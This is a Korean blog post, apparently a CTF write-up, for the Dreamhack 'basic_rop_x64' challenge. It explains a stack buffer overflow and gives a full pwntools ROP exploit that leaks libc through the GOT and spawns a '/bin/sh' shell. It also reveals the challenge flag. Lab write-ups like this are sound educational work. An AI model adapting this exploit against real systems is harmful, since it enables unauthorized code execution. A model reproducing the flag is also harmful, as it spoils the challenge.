CTF & Wargame(PWNABLE)

[dreamhack] level 2 basic_rop_x64

KWAKBUMJUN 2025. 4. 7. 03:25
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0); 
    setvbuf(stdout, NULL, _IONBF, 0); 

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {}; 

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

buf의 크기는 0x40이다. 하지만 read 함수를 보면 0x400 만큼의 데이터를 최대로 하기 때문에 bof가 발생한다.

해당 함수는 NX 보호기법이 적용되어 있기 때문에 셸코드를 통한 공격은 어렵고 ROP를 통해 system 함수를 실행시키는 방법으로 익스플로잇을 진행해야한다.

 

익스플로잇

pwndbg를 통해 read 함수에 들어가는 buf의 주소를 확인해보면 rbp-0x40인것을 확인할 수 있다.

따라서 스택 프레임 구조는

buf(0x40)

sfp(0x08)

ret(0x08)

이렇게 구성되어 있을 것이다. bof를 발생시키려면 buf와 sfp의 공간인 0x48만큼 더미값을 넣어주면 ret을 조작하여 bof를 발생시킬수 있을 것이다.

 

system 함수 주소 계산

ASLR이 걸려있기 때문에 system 함수의 주소는 계속 바뀐다. 하지만 libc의 시작주소를 구하면 system 함수의 주소도 구할수 있다.

먼저 system 함수는 libc.so.6에 정의 되어 있다. libc.so.6에는 read, puts, printf 함수들도 정의되어 있다. 따라서 read함수의 주소 - read함수의 오프셋을 하면 libc의 시작주소를 구할수 있다. 

그리고 read 함수는 GOT에 등록되어 있기 때문에 Read의 GOT를 읽으면 read 함수의 주소를 읽을 수 있다.

 

"/bin/sh" 문자열

search를 통해 "/bin/sh"의 주소를 찾아보면 해당 문자열 또한 libc.so.6에 저장되어 있는 것을 확인할 수 있다. 하지만 해당 영역은 ASLR에 영향을 안 받기 때문에(왜 안받음?) "/bin/sh"의 주소 : libc 시작주소 + bin/sh offset 연산을 하면 구할수 있다.

 

시나리오

우선 libc의 시작주소를 모르기 때문에 system("/bin/sh")를 바로 실행할수 없다. 따라서 우리에게 필요한 정보들을 얻은 뒤에 다시 main 함수로 돌아와서 원하는 명령을 이어나가는 ret2main 기법을 사용할 것이다. (rop에선 뭐가 다른거지 rop에서는 GOP overwrite을 한거라서 다른건가)

 

먼저 write 함수를 통해 libc의 베이스 주소를 획득하고 system 함수,"/bin/sh"의 주소를 획득할 것이다. 그 후에 main 함수로 돌아와서 system("/bin/sh")을 실행시킨다.

 

익스플로잇 코드

rom pwn import *

p = remote("host3.dreamhack.games",14708)
#p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6", checksec=False)


read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
main = e.symbols["main"] # ret2main 기법이므로 나중에 돌아오기위해

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
sh = list(libc.search(b"/bin/sh"))[0]

pop_rdi = 0x0000000000400883
pop_rsi = 0x0000000000400881

# Stage 1
payload = b'A' * 0x48

# write(1, read_got, 8) to print read_got
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(read_got) + p64(8)
payload += p64(write_plt)

payload += p64(main)

p.send(payload)
p.recvuntil(b'A'*0x40)

#calculate addr
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + sh

print("read addr : ",hex(read))
print("lb addr : ",hex(lb))
print("system addr : ",hex(system))
print("bin/sh addr : ",hex(binsh))

# stage 2
payload = b'A' * 0x48
# system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b'A' * 0x40)

p.interactive()

<main 으로 돌아가는 거 설명 쓰기>

ret2main 기법을 활용하여 익스플로잇을 진행하였기 때문에 나중에 payload에 main 함수로 돌아오기 위해 stage 1이 끝나면 main함수로 돌아가도록 설정해둬야한다.

flag : DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}

'CTF & Wargame(PWNABLE)' 카테고리의 다른 글

[dreamhack] level 2 basic_rop_x86  (0) 2025.04.07
[dreamhack] level 2 rop  (0) 2025.04.07
[dreamhack] level 2 Return to Library  (0) 2025.04.06
[dreamhack] level 2 ssp_001  (0) 2025.04.03
[dreamhack] level 2 Return to Shellcode  (0) 2025.04.02